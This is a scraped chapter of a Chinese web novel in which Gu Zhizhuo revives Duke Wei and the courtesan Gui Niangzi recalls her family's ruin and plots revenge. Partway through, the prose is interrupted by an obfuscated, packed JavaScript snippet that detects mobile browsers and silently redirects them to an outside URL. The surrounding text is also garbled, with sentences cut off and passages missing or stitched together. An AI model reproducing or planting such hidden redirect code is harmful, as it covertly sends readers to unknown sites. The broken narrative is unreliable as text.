第151章

晋王心潮起伏。


终究还是对儿子活下去的奢望,压过了党争和对权力争夺,他开始期盼顾知灼真的能把卫国公救活。


他不知道站了多久,五城兵马司收工带着江潮的尸体回去了,连水龙局也把火扑灭了。


终于,一句“好了”,有如天籁闯进耳中。


“王叔,我去看看。”


晋王迫不及待地说了一句,也不等礼亲王应和,先一步跑了过去。


向阳把他拦在了十步开外,但这一回,没有人挡着,他清楚的看到了里头的情形。


顾知灼半蹲在卫国公跟前,凝神搭脉。


卫国公的脖子上绑着一方白布条,边缘毛糙,像是从哪里草草撕下来的,喉咙被割开的位置隐隐约约露出了一截玉管。乍一眼看着有些可怕,可即便如此,他身上沾着的血少的惊人,就好似把喉咙割开了,也没有流过血一样。


而且,他真的活着!


晋王咽了咽口水,那日长风真人说顾大姑娘颇有些道家的手段,医术也十分高明,他还将信将疑。如今一看,这莫非是道家中的起死回生之术?


“卫国公?”


顾知灼放开了搭脉的手,低声呼唤。


这个法子是师父教的,上一世的最后一个月,公子的气上不来,随时都会死。


公子苦撑了这么久,瘦骨嶙峋,就算她再不愿承认也知道,是回天乏术了。


公子问她,能不能再撑一个月,他还有事没有做完。


她问了师父。


顾知灼闭了闭眼睛,当时她拿起了刀子,割下了那一刀,为公子又续了四十天的命。


她定了定心神,把注意力全放在了卫国公的身上。


他脉象已经稳定,暂时不会有性命危险。


至于能不能活,还得再看几天。


卫国公扯了扯嘴角,露出了一个艰难的笑。


“我……喘上气来了。”


刚刚的那种濒死感让卫国公怕到不行。


“还有没有哪里不舒服?”


“没、没有。”


卫国公摇摇头,可能是憋气憋久了,脑子也糊涂了,他甚至一点儿也没有感觉到喉咙痛。


要不是亲眼看着顾大姑娘拿起刀子,他还以为她是在吓唬他呢。


他虚弱道:“多谢。”


这一声“多谢”,他发自肺腑。


卫国公心知肚明,他们完全是可以袖手旁观的。


“谢……”


卫国公没办法说太多的话,他甚至不敢摸自己的脖子。


说着话,顾知灼终于从半蹲的动作站了起来。


她蹲得有些久了,手脚发麻,幸亏谢应忱在旁边扶了她一把,才终于站稳。


她眷恋地拉着他温热的手,重生真好。


顾知灼扭头对他甜丝丝的一笑,便又问道:“国公爷,您府上有没有供奉的府医。”


“有……”


那就好。


“我和您一起回府,还得和国公夫人说说,要怎么养。”


谢应忱让人去准备马车,直接把马车开进了天熹楼,示意卫国公的长随把人抱上马车。


“叔祖父,我和夭夭送卫国公走。”


“哎哎。”


礼亲王连连应声,他对着卫国公颈部的玉管左看右看,小心肝“扑通扑通”的跳。


“他这样,”礼亲王问道,“会一直这样?”


“不用,要是养的好的话,三五天后就能拆掉,就和从前一样了。”


礼亲王放下心,待顾知灼也上了马车,礼亲王又想起了什么,赶紧拉住了车窗说道:“对了,丫头,你别生气,给本王几天时间好不好?”


顾知灼把头一别,不理他。


礼亲王吹胡子瞪眼:“五天……三天行不行?”


谢应忱含笑道:“辛苦叔祖父了。”


“不苦不苦。”


顾知灼笑得一派天真:“王爷,过几天我去府上玩的时候,再给您诊个脉。”


这丫头的心肠还怪好的。礼亲王乐呵呵地和他们道了别,原本他其实是打算叫上顾知灼一起去含璋宫的,但如今,哎,还是卫国公更要紧,出来一趟脖子上多了一根玉管,丫头肯定得和卫家交代不少事。


马车很快离开。


礼亲王也出去了,晋王匆匆地叫住了他:“礼王叔,您是要进宫吗?”


还不等礼亲王回答,他笑着说道:“我随您一同去,我也好些日子没有向皇上请过安了。”


说话间,他不经意地回首看了一眼,伎子们由人领了下去,他的目光落在了一个纤细窈窕的背影上。


见礼亲王挑眉看他,晋王忙笑道:“礼王叔,那位是归娘子,琵琶的技艺在京城伎子中,堪称一绝,我觉着丝毫不输曾经的丘大家。”


“你要纳妾?”


礼亲王狐疑地看他。


“王叔您说笑了。侄儿只是随口一夸。”他干笑了两声,“哎,云儿如今病成这样,


会办妥,哪里需要王爷亲自吩咐,还特意让他打听归娘子是哪里人,又叮嘱自己不可怠慢。瞧瞧这话,王爷肯定是瞧上人了,指不定要纳回去呢。


伎子惯爱争抢,若是一时得了宠,告自己一状说自己对她不恭敬就太不值了。


于是,他面上和气地说道:“只是想问问归娘子,雍州有什么风俗,若娘子得闲,让王府的嬷嬷来讨教一些。哎,掌柜的你不知道呀,齐总兵对我家王爷有知遇之恩,王爷不想怠慢了。


把话说明白了就行。掌柜释然几分,看向归娘子。


归娘子温言道:“黑水堡城。


当年的种种犹如一场噩梦,归娘子的记性极好,所以,她记得自己被那些人抓走后发生的一切,更记得他们把她从山崖上推了下去。


她以为自己死定了,结果,不知道昏迷了多久,她被一场暴雨浇醒。


她全身上下都痛,痛得甚至想死了算了,但是她不能死,她得找到弟弟,他们要一起去京城告御状的。殷家不是马匪,爹娘不能背着马匪的罪名去死。


她慢慢往下爬,指甲断了,手上全是血,她终于爬下了山崖,但也精疲力尽,再醒来,又过了好几天


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088437|163599||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


,她被人卖进青楼。


归娘子笼在袖中的双手,十指紧绷如弦。


她想活。


她和弟弟说好的,两个人都要活下来,只有活着,他们才能报仇,死了就什么也没有了。


她活下来了。


弟弟也一定会活下来的。


郑管事:“娘子还有什么亲人吗?


“父母早逝,弟弟夭折。她目含春水,摇摇头,“我颠沛流离,没有亲人了。


“是我说多言了。郑管事殷勤地递过一个荷包,“这是定金。


荷包里是一张银票,足足有一百两。


“王爷说了,还要劳烦娘子教教王府嬷嬷一些习俗,这也得耽搁娘子不少时间,这些是娘子应得的。


归娘子含笑接过。


办完了差事,郑管事客气的说道:“那我先告辞了,归娘子当天可别忘记,王府会派马车来接你。


归娘子起身相送。


掌柜领着他出去后,归娘子立刻关紧了门,眼中含着的盈盈笑意,在顷刻间消失的一干二净。


她回了屋,在美人榻上坐下,抬手放下了周围的帘子。


层层叠叠的纱帘把她笼罩了起来,归娘子双手抱膝,蜷成了一团,仿佛也只有这


游击将军。


他是来这里找她的画像的,还带走了那副爹爹曾亲手为她画的画像。


等他们走后,她用火烧了自己的半边脸。


归娘子仰面倒在美人榻上,泪水浸湿了她的脸颊。


她从怀里摸出了半块玉佩,紧紧地捏在了手心。


归娘子动了动唇角,眼底是浓重的恨意:“我终于找到你了!


恰在这时,有人在外头敲响了门。


“归娘。你在吗?


归娘子拿掌心抚去颊边的泪,若无其事地答应道:“我在。


指尖勾起面纱,戴好后,她从美人榻上起来,若无其事地去开了门。外头站着的是听怜,她住在和她相邻的厢房,笑盈盈地说道:“张婆子过来叫我们去一趟前头。


“怎么了?


“好像是官府来登记伎子。听怜也是莫名,“不会是官府的教坊司缺人吧?


听怜眉眼极艳,嗓音娇柔:“教坊司也不是什么好去处,像我们如今这般爱上哪儿唱,就上哪儿唱,才是最好过的。


她拿出了一方干净的帕子和一个指节大小的小瓷瓶。


摇晃了一下小瓷瓶后,把里头的药倒在帕子上。


“诺。听怜递上帕子,娇声道,“捂着眼睛,一会儿就不红了。


她没问她为什么哭。


“去的晚了,惹了官兵着恼就不好了。


归娘子捂着帕子,她拉着她走,在前头为她引路。


走过还有些狼藉的小花园,官兵在天熹楼的正堂等着。


归娘子放下帕子,双眸已经没有一点血丝和哭过的痕迹。


“飞鱼服。听怜小小声地她耳边道,“是锦衣卫?!


她娇柔的嗓音中含着些许轻颤:“……怎么把锦衣卫也招来了,坐在条案前的那个,好像是内监。